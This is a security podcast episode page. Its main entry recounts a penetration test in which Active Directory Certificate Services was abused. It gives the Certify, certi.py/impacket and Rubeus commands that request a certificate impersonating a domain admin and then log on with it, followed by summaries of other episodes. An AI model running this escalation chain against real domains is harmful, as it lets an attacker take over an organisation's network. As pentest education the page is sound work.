7MS #501: Tales of Pentest Pwnage - Part 31
7 Minute Security29 Joulu 2021

7MS #501: Tales of Pentest Pwnage - Part 31

Today we're closing down 2021 with a tale of pentest pwnage - this time with a path to DA I had never had a chance to abuse before: Active Directory Certificate Services! For the full gory details on this attack path, see the Certified Pre-Owned paper from the SpecterOps crew. The TLDR/TLDL version of how I abused this path is as follows:

Run Certify.exe find /vulnerable, and if you get some findings, review the Certified Pre-Owned paper and the Certify readme file for guidance on how to exploit them. In my case, the results I got from Certify showed:

msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT

Reading through the Certify readme, I learned "This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA)." The Certify readme file walks you through how to attack this config specifically, but I had some trouble running all the tools from my non-domain-joined machine. So I used a combination of Certify and Certi to get the job done. First I started on Kali with the following commands:

sudo python3 /opt/impacket/examples/getTGT.py 'victimdomain.domain/MYUSER:MYPASS' export KRB5CCNAME=myuser.cache sudo python3 ./certi.py req 'victimdomain.domain/MYUSER@FQDN.TO.CERT.SERVER' THE-ENTERPRISE-CA-NAME -k -n --alt-name DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE --template VULNERABLE-TEMPLATE NAME

From that you will get a .pfx file which you can bring over to your non-domain-joined machine and do:

rubeus.exe purge rubeus.exe asktgt /user:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE /certificate:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE@victim.domain.pfx /password:PASSWORD-TO-MY-PFX-FILE /domain:victimdomain.domain /dc:IP.OF.DOMAIN.CONTROLLER

And that's it! Do a dir \\FQDN.TO.DOMAIN.CONTROLLER\C$ and enjoy your new super powers!

Jaksot(695)

7MS #688: Building a Pentest Training Course Is Fun and Frustrating

7MS #688: Building a Pentest Training Course Is Fun and Frustrating

Today I talk about a subject I love while also driving me crazy at the same time: building a pentest training course! Specifically, I dissect a fun/frustrating GPO attack that I need to build very carefully so that every student can pwn it while also not breaking the domain for everybody else. I also talk about how three different flavors of AI failed me in solving a simple task.

16 Elo 22min

7MS #687: A Peek into the 7MS Mail Bag – Part 5

7MS #687: A Peek into the 7MS Mail Bag – Part 5

Hi friends, we’re doing something today we haven’t done in a hot minute: take a dip into the 7MinSec mail bag! Today we cover these questions: If I’m starting a solo business venture as a security consultancy, is it a good idea to join forces with other solo security business owners and form a consortium of sorts? Have you ever had anything go catastrophically wrong during a pentest?  Yes, and this is an important link in the story: https://github.com/fortra/impacket/issues/1436 What ever happened with the annoying apartment neighbor who stomped around like a rhino when you made any noise during COVID? What happened to the “difficult family situation” you vaguely talked about a few months ago that involved police and lawyers – did that ever get resolved?

11 Elo 57min

7MS #686: Our New Pentest Training Course is Almost Ready

7MS #686: Our New Pentest Training Course is Almost Ready

Oh man, I’m so excited I can hardly sleep. Our new three-day (4 hours per day) training is getting closer to general release. I talk about the good/bad/ugly of putting together an attack-sensitive lab that students can abuse (but hopefully not break!), and the technical/curriculum-writing challenges that go along with it.

1 Elo 23min

7MS #685: The Time My Neighbor Almost Got Scammed Out of $13K

7MS #685: The Time My Neighbor Almost Got Scammed Out of $13K

Today’s kind of a “story time with your friend Brian” episode: a tale of how my neighbor almost got scammed out of $13k.  The story has a lot of red flags we can all keep in mind to keep ourselves (as well as kids/friends/parents/etc.) safer from these types of shenanigans.

25 Heinä 22min

7MS #684: Pwning Ninja Hacker Academy

7MS #684: Pwning Ninja Hacker Academy

Hey friends, today we start pwning Ninja Hacker Academy – cool CTF-style lab that has you start with no cred and try to conquer domain admin on two domains!

18 Heinä 22min

7MS #683: What I'm Working on This Week - Part 4

7MS #683: What I'm Working on This Week - Part 4

This week I’m working on a mixed bag of fun security and marketing things: A pentest I’m stuck on My latest lab CTF obsession: Ninja Hacker Academy A cool “about 7MinSec” marketing video that was recorded in a pro studio!

12 Heinä 30min

7MS #682: Securing Your Family During and After a Disaster – Part 7

7MS #682: Securing Your Family During and After a Disaster – Part 7

Today’s episode is a downer! We talk about things you might want to have buttoned up for when you are eventually not alive anymore: Living will Buried vs. cremated? Funeral plans Funeral PHOTOS? I also talk about how my dad broke his ribs while trying to break a chimpmunk, and how a freak 4-wheeler accident also had my ribs in agony.

4 Heinä 30min

7MS #681: Pentesting GOAD – Part 3

7MS #681: Pentesting GOAD – Part 3

Today Joe “The Machine” Skeen and I pwn the third and final realm in the world of GOAD (Game of Active Directory): essos.local!  The way we go about it is to do a WinRM connection to our previously-pwned Kingslanding domain, coerce authentication out of MEEREEN (the DC for essos.local) and then capture/abuse the TGT with Rubeus!  Enjoy.

27 Kesä 18min

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